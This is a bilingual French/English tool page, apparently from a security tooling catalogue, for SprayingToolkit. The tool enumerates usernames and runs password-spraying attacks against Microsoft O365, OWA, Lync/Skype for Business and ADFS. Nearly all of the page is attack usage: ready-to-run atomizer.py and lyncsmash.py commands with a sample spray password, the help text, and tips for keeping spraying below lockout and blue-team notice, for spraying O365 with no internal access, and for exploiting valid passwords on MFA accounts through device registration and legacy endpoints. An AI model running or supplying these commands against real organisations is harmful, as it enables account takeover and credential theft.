SprayingToolkit
Encapsule et accélère les attaques de password spraying contre Microsoft O365, OWA, Lync/Skype for Business et ADFS. Wraps and speeds up password spraying attacks against Microsoft O365, OWA, Lync/Skype for Business, and ADFS.
↗ https://github.com/byt3bl33d3r/SprayingToolkitOverview
SprayingToolkit is a set of Python wrappers around common Microsoft-facing authentication endpoints — OWA, Lync/Skype for Business, ADFS, and Office 365 — that automates username enumeration and password spraying against them at scale. It builds on the older LyncSniper/MailSniper-style techniques but wraps them into faster, threaded scripts (atomizer.py for spraying, lyncsmash.py for enumeration/recon) with built-in delay/jitter to reduce lockout risk.
Common Usage
Enumerate valid usernames via Lync/Skype for Business autodiscover
python lyncsmash.py enumerate <target> userlist.txt
Spray a single password against OWA
python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30
Spray against Office 365 directly (no on-prem target needed)
python atomizer.py o365 userlist.txt 'Summer2026!' -t 3
Spray against ADFS
python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'
Tips
-t(threads) and-d(delay between attempts) control spray speed — keep both conservative against on-prem AD, since a lockout here can be very visible to blue team- Office 365 spraying doesn’t need internal network access at all — it’s often the first thing tried once a valid username list exists
- Cross-reference hits against MFA status; a valid password against an MFA-protected account is still useful for follow-on attacks (device registration abuse, legacy auth endpoints)
Help / Man page
atomizer.py <module> <target> <userlist> <password> [options]
Modules: owa | ews | lync | adfs | o365
target target hostname/IP (not required for o365 module)
userlist file with one username per line
password single password to spray
Options:
-t THREADS number of concurrent threads (default: 1)
-d DELAY delay in seconds between attempts
-oJ FILE write results as JSON
lyncsmash.py enumerate <target> <userlist>
performs autodiscover-based username enumeration against Lync/S4B
Vue d’ensemble
SprayingToolkit est un ensemble de wrappers Python autour des points de terminaison d’authentification Microsoft courants : OWA, Lync/Skype for Business, ADFS et Office 365, qui automatise l’énumération de noms d’utilisateurs et le password spraying à grande échelle contre ceux-ci. Il s’appuie sur les techniques plus anciennes de type LyncSniper/MailSniper, mais les encapsule dans des scripts plus rapides et threadés (atomizer.py pour le spraying, lyncsmash.py pour l’énumération/la reconnaissance) avec un délai/jitter intégré pour réduire le risque de verrouillage.
Utilisation courante
# Énumérer des noms d'utilisateurs valides via l'autodiscover Lync/Skype for Business
python lyncsmash.py enumerate <target> userlist.txt
# Sprayer un seul mot de passe contre OWA
python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30
# Sprayer directement contre Office 365 (aucune cible on-prem nécessaire)
python atomizer.py o365 userlist.txt 'Summer2026!' -t 3
# Sprayer contre ADFS
python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'
Conseils
-t(threads) et-d(délai entre essais) contrôlent la vitesse du spray : garder les deux conservateurs contre un AD on-prem, car un verrouillage ici peut être très visible pour la blue team- Le spraying Office 365 ne nécessite aucun accès au réseau interne : c’est souvent la première chose testée une fois qu’une liste de noms d’utilisateurs valides existe
- Croiser les résultats positifs avec le statut MFA ; un mot de passe valide sur un compte protégé par MFA reste utile pour des attaques de suivi (abus d’enregistrement d’appareil, points de terminaison d’authentification legacy)
Aide / Page de manuel
atomizer.py <module> <target> <userlist> <password> [options]
Modules: owa | ews | lync | adfs | o365
target target hostname/IP (not required for o365 module)
userlist file with one username per line
password single password to spray
Options:
-t THREADS number of concurrent threads (default: 1)
-d DELAY delay in seconds between attempts
-oJ FILE write results as JSON
lyncsmash.py enumerate <target> <userlist>
performs autodiscover-based username enumeration against Lync/S4B